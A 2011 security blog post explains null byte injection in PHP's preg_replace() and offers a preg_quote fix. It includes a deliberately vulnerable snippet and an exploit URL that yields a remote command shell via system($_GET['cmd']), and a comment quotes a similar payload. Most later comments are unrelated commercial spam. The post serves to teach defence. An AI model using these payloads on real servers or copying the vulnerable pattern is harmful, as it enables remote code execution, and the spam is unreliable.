( ~~~ )
  ))^ ^((
 ((* - *))
   _) (_
 / '--' \     ^
//(_  _)\\   /_\
\\ )__( //   .'
 (( v  ))   (
   \| /\     '-.
    K(  \       )
    |\\  '-._.-'
    ||\\
  *_-P/,P
     '-
Want your PHP application manually audited? Check out Xxor AB's PHP Security Auditing Service

Wednesday, June 29, 2011

Null Byte Injection in preg_replace()

When reviewing some PHP code, I came across a real world example of a strange and undocumented (but it's been breifly mentiond in MOPS Submission 07) feature/bug in the function preg_replace. On certain systems, preg_replace seems to be vulnerable to a null byte injection. If both the first and second argument is derived from user input this could lead to a remote code execution.

Preg_replace naturally has the ability to evaluate it's second argument as PHP code if the "e" modifier is present in the pattern in it's first argument. But preg_replace is very strict regarding the syntax of supplied patterns. Normally there should be no way to escape from in between the "/" delimiters and inject the "e" modifier when the pattern is derived from user input, like in this example. $pattern = '/omfglol'.$_GET['mypattern'].'/i'; $replacement = $_GET['replacement']; $subject = 'omglolomglolnostop'; echo preg_replace($pattern,$replacement,$subject); If you'll try to exploit this by injecting "test/e" into the middle of the pattern "/omfgloltest/e/i". The "/" that is present after "/e" in the pattern is not considered to be a valid modifier and an error will be thrown. "Warning: preg_replace(): Unknown modifier '/'"

Lets have a look in PHP's source code. The, as of now, Current stable PHP 5.3.6. This is line 337 to 374 of ext/pcre/php_pcre.c containing the loop responsible for parsing modifiers in a pattern. /* Parse through the options, setting appropriate flags. Display a warning if we encounter an unknown modifier. */ while (*pp != 0) { switch (*pp++) { /* Perl compatible options */ case 'i': coptions |= PCRE_CASELESS; break; case 'm': coptions |= PCRE_MULTILINE; break; case 's': coptions |= PCRE_DOTALL; break; case 'x': coptions |= PCRE_EXTENDED; break; /* PCRE specific options */ case 'A': coptions |= PCRE_ANCHORED; break; case 'D': coptions |= PCRE_DOLLAR_ENDONLY;break; case 'S': do_study = 1; break; case 'U': coptions |= PCRE_UNGREEDY; break; case 'X': coptions |= PCRE_EXTRA; break; case 'u': coptions |= PCRE_UTF8; /* In PCRE, by default, \d, \D, \s, \S, \w, and \W recognize only ASCII characters, even in UTF-8 mode. However, this can be changed by setting the PCRE_UCP option. */ #ifdef PCRE_UCP coptions |= PCRE_UCP; #endif break; /* Custom preg options */ case 'e': poptions |= PREG_REPLACE_EVAL; break; case ' ': case '\n': break; default: php_error_docref(NULL TSRMLS_CC,E_WARNING, "Unknown modifier '%c'", pp[-1]); efree(pattern); return NULL; } }
On line 339, the while loop loops until it encounters a null byte. So if "test/e" is followed by a null byte PHP will stop searching for other modifiers beyond that.

To turn the PHP example in the beginning of this post into a remote command shell one would use an url like this: http://www.example.com/pregvuln.php?mypattern=||/e%00&replacement=system($_GET['cmd']);&cmd=echo%20testing123

Note: The double pipes "||" in the pattern "||/e" makes it match anything. The pattern must match something or the code won't execute.

Edit: My initial tests where distorted by the Suhosin patch, which also protects the server from this type of attack.
All PHP versions, as of today, is vulnerable to this attack.

Solution

To defend against this type of attack, just follow best practice. User input should always be escaped using preg_quote before being used in a regexp pattern.

This is a secured version of the example in the beginning of this post. $pattern = '/omfglol'.preg_quote($_GET['mypattern'],'/').'/i'; $replacement = $_GET['replacement']; $subject = 'omglolomglolnostop'; echo preg_replace($pattern,$replacement,$subject); Or to defend against this at the server level, install Suhosin.

45 comments:

  1. http://www.php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html
    ....
    However, even if there is no “e” modifier sometimes attackers still have possibility to evaluate code. It can be achieved by dropping off some part of regexp by putting null-byte into it. Let’s look at the same example, but a little bit modified:

    (.*?)$regexp<\/tag>/", '\\1', $var);
    ?>
    Maybe this example looks too naive, but currently aim is to show when null-byte attack could work. Now consider that vulnerable script accepts request like this:

    http://www.example.com/index.php?re=<\/tag>/e

    ReplyDelete
  2. @Vladimir
    Thank you. I'll add that link to the post.

    ReplyDelete
  3. Intressant och välskriven blogg! Det vore roligt att läsa vad din rekommendation är till databas-utvecklare generellt. Bör de satsa på prepared statements i hela sin stack? Är det PHP som är problemet? Hur kan vi göra LAMP-stacken säkrare?
    mvh
    Kristofer Pettersson

    ReplyDelete
  4. @Kristofer Pettersson

    Hej.
    Om man ser det ur databasadministratörens perspektiv så är förmodligen det enda h*n kan göra att påverka situationen att endast tillåta prepared statements.
    Det jag egentligen tycker man skall göra är att lära PHP-kodarna det "rätta sättet" att kommunicera med en databas.
    Det enklaste kan vara att tillverka en liten funktion som garanterat säkrar en variabel från oönskade injektioner, och sedan kräver att den funktionen alltid använda till alla variabler som på något sätt medverkar i ett SQL-kommando. Och om man har som standard att alltid göra på detta sättet så blir det betydligt enklare att bara läsa igenom koden och finna avvikelser där en injektion kan vara möjlig. Att altid göra på samma sätt har även fördelen att utvecklaren inte behöver tänka på om variabeln kan vara farlig eller ej. Hellre mysql_real_escape_string hundra gånger i onödan är en gång för lite.

    Eftersom att du ställde frågan så planerar jag nu en liten blogpost med en sådan funktion som jag brukar rekomendera när jag som konsult kontrollerar andras PHP kod.

    Lev Väl
    /Mango

    ReplyDelete
  5. Holistic Medicine encompasses the wide array connected with natural AND ALSO visual therapies It will probably bring the body back for you to the balanced state, free associated with disease. these therapies may be used alone or, even further powerfully, together. Kyäni

    ReplyDelete
  6. Apartments inside Alanya stay fairly cheep, inside spite connected with charges growing significantly. whilst ones market continues to be affected via recent financial events, It has proved to become much further robust in comparison with within a lot of other countries. because the new laws came in The stress allowing foreigners in order to buy land, both require AND ALSO expenses have increased. Prices, particularly along ones coast, usually are rising rapidly, AS WELL AS are needed to be able to progress to help do therefore over the next five to help eight years.It doesn't need to use an estate agent to find AND buy an Apartment throughout Alanya. However, many buyers Pick out to do, thus Just like estate agents cater to the catered Specifications of foreigners AND are aware of all the legal requirements. sooner committing to shopping the Apartment, you have to transaction no matter if You will discover any kind of amazing debts to the property. lägenheter i Alanya

    ReplyDelete
  7. When it comes to your career prospects and bright future, Assignment Help takes the onus on itself to promote your growth in the right direction. So, that way you wouldn’t have to think twice before trusting us with your academic papers. Place an order with us now and reap the rewards of brilliantly written academic papers today. Assignment help, one of the leading academic solution providers in Australia, understands the challenges and extends a helping hand to the aspiring engineers who are willing to land a job in Australia.
    Sydney Assignment Help

    ReplyDelete
  8. Nowadays students from the school, college and universities look for Essay Help UK and Essay Helper UK services from the experts who can help them in solving their assignment in a manner that is required in college and universities.

    ReplyDelete
  9. Nowadays students from the school, college and universities look for My Assignment Help Singapore and MyAssignmentHelp Singapore services from the experts who can help them in solving their assignment in a manner that is required in college and universities.

    ReplyDelete
  10. Nowadays students from the school, college and universities look for Assignment Help Experts Canada and Assignment Experts Canada services from the experts who can help them in solving their assignment in a manner that is required in college and universities.

    ReplyDelete
  11. Nowadays students from the school, college and universities look for Essay Help UK and Essay Helper UK services from the experts who can help them in solving their assignment in a manner that is required in college and universities. pakistani designer suits online , pakistani designer suits online

    ReplyDelete
  12. This coding is very helpful for developers and especially beginners can improve their knowledge and earn some good amount. Do you want to learn coding? Buy Dissertation Online.

    ReplyDelete
  13. I really appreciate your effort and perfection in creating your blog! Good job.make my dissertation

    ReplyDelete
  14. Excellent content ,Thanks for sharing this .,
    Leanpitch provides online training in CSPO, everyone can use it wisely.

    Product owner certification
    Product owner training

    ReplyDelete
  15. Thanks for sharing this.,
    Leanpitch provides online training in Scrum Master, everyone can use it wisely.
    Join Leanpitch 2 Days CSM Certification Workshop in different cities.

    Scrum master certification

    csm certification

    ReplyDelete
  16. Thanks for sharing this.,
    Leanpitch provides online training in Scrum Master, everyone can use it wisely.
    Join Leanpitch 2 Days CSM Certification Workshop in different cities.
    certified scrum master certification

    agile scrum master certification

    ReplyDelete

  17. Excellent content ,Thanks for sharing this .,
    Leanpitch provides online training in ICP ACC, everyone can use it wisely.

    Agile coach certification
    Agile coach certification online

    ReplyDelete
  18. Excellent content ,Thanks for sharing this .,
    Leanpitch provides online training in ICP ACC, everyone can use it wisely.
    ICP ACC certification
    Certified Agile coach

    ReplyDelete

  19. Excellent content ,Thanks for sharing this .,
    Leanpitch provides online training in ICP ACC, everyone can use it wisely.
    ICP ACC certification
    ICP ACC certification online
    Certified Agile coach certification

    ReplyDelete


  20. Excellent content ,Thanks for sharing this .,
    Leanpitch provides online training in ICP ACC, everyone can use it wisely.
    Certified Agile coach certification
    Agile coach

    ReplyDelete

  21. Excellent content ,Thanks for sharing this .,
    Leanpitch provides online training in ICP ACC, everyone can use it wisely.

    Agile coach certification
    ICP ACC certification online

    ReplyDelete
  22. Excellent content ,Thanks for sharing this .,
    Leanpitch provides online training in CSPO, everyone can use it wisely.

    CSPO certification
    CSPO TRAINING

    ReplyDelete
  23. 24x7 availability

    We understand that students can ask questions at any time of the day. That's why, unlike other platforms, we provide Cheap Assignment help all the time. In addition, a dedicated team of customer support is always available to address student questions and provide immediate solutions.
    Cheap Assignment Help

    ReplyDelete
  24. The team behind our awesome assignment help USA service maintains strict policies against plagiarism. Collaborating with our writers by availing Assignment Help in United States will not only help you with your grades but also your essay assignment skill will be good.

    ReplyDelete
  25. makanan rendah kalori adalah makanan yang mengandung kalori rendah sehingga saya tidak perlu memikirkan kalori sebelum mengonsumsinya. Low-calorie food is food that contains low calories so I don't need to worry about calories before eating.

    ReplyDelete
  26. We only use your information in order to fulfill our obligations to you and for administration purposes. Heathrow airport taxi service and especially taxi to Heathrow terminal 5 We will only disclose sufficient information to our drivers and sub-contractors in order that they can provide the service requested.We will never sell or disclose your information to a 3rd party except where required by law.

    ReplyDelete
  27. This material is forged, and top-notch $500 crossbow, to create the best of all worlds. Second, the Lever Cam redefines efficiency, and allows archers to boost kinetic energy and momentum to higher levels. Third, the ETS (Energy Transfer System) patent pending cable system enhances the cable system dynamics, which increases performance and efficiency by pre-loading the cables and limiting the movement of them. top-notch $1000 crossbow

    ReplyDelete
  28. There are plenty of jobs that may fit your availability. This is easier said than done. So if you have 3 hours spare or a day free to travel 10 miles, Builders south east London or building contractors south London your next job is waiting for you. Why not join us today! It’s free for 14 days and then only costs £20/month pay as you go to receive unlimited enquiries.

    ReplyDelete
  29. Whether it’s a late night job or an early day call, we have executive cars and professional Wimbledon chauffeurs and Heathrow chauffeurs to complete urgent jobs and give you a comfortable transport.

    ReplyDelete
  30. There’s probably not a Best mig welder under $1000 in this class that has more satisfied customers, a big reason it’s the selection for Best MIG. If you don’t have a lot to spend, then I would recommend taking a look at our cheap MIG welders for under Best mig welder under $500 guide.

    ReplyDelete
  31. They will be able to learn several things and also will be able to use and improve their skills. If they are working on a tax law assignment, then it is suggested to do the whole work independently and not get assistance from Machine Learning homework Help

    ReplyDelete
  32. FantasyDangal has become most popular new fantasy app. In a very short time, the FantasyDangal app has gained a lot of popularity. The app is available in nine languages and offers a range of bonuses and offers to users who want to play new fantasy cricket app, win cash, and stay in the game. The app also offers different modes such as Safe Play and Regular play that make it easy for users.

    ReplyDelete
  33. Dangal Games is the best place for you to be entertained and to make some earnings with online real money earning games in India. Are you looking for a fun way to kill time and earn money through games? You can easily earn money playing games on DangalGames! There is a chance that you can play games and earn money in India.

    ReplyDelete
  34. By the way, it would be very interesting if foreign departments use PHP code to send their cyphers. It is not easy for everyone to understand PHP code, and I want your opinion on this. Buy Essay Online

    ReplyDelete
  35. There is no doubt that interaction between learners and instructors yields good outcomes. Online Q&A Services Providers are part and parcel of any academic-related activities.The primary intention of the said exercise is to enhance the understanding of the subject knowledge. Therefore, clients are on the lookout for interactive Q&A services to draw the attention of modern learners. It is the best bait for learners. best ebook conversion services

    ReplyDelete
  36. K12 Manual Development Services define objectives for learning for the students of K12 in such an excellent manner. It aims to teach both theoretical and practical knowledge to the students. The online services that we provide are both subjects centred as well as learning-centred. The guides, manuals, lesson plans, latest syllabus, modules with interactive and live sessions provided here are just up to the mark and highly student-friendly. video solution development services

    ReplyDelete
  37. Professional Explainer Videos have taken centerstage due to their wide appeal. It can provide a message to different audience segments belonging to various cultural unfettered by the geographic boundaries. Businesses give a lot of emphasis to reaching the target customers through video to align themselves relevant in the cut-throat competitive world. Therefore, explainer videos servicesare there to satisfy the audience's dreams.
    Deliver online tutoring

    ReplyDelete
  38. Thanks for sharing this article with us.
    also, visit here sell old iphones

    ReplyDelete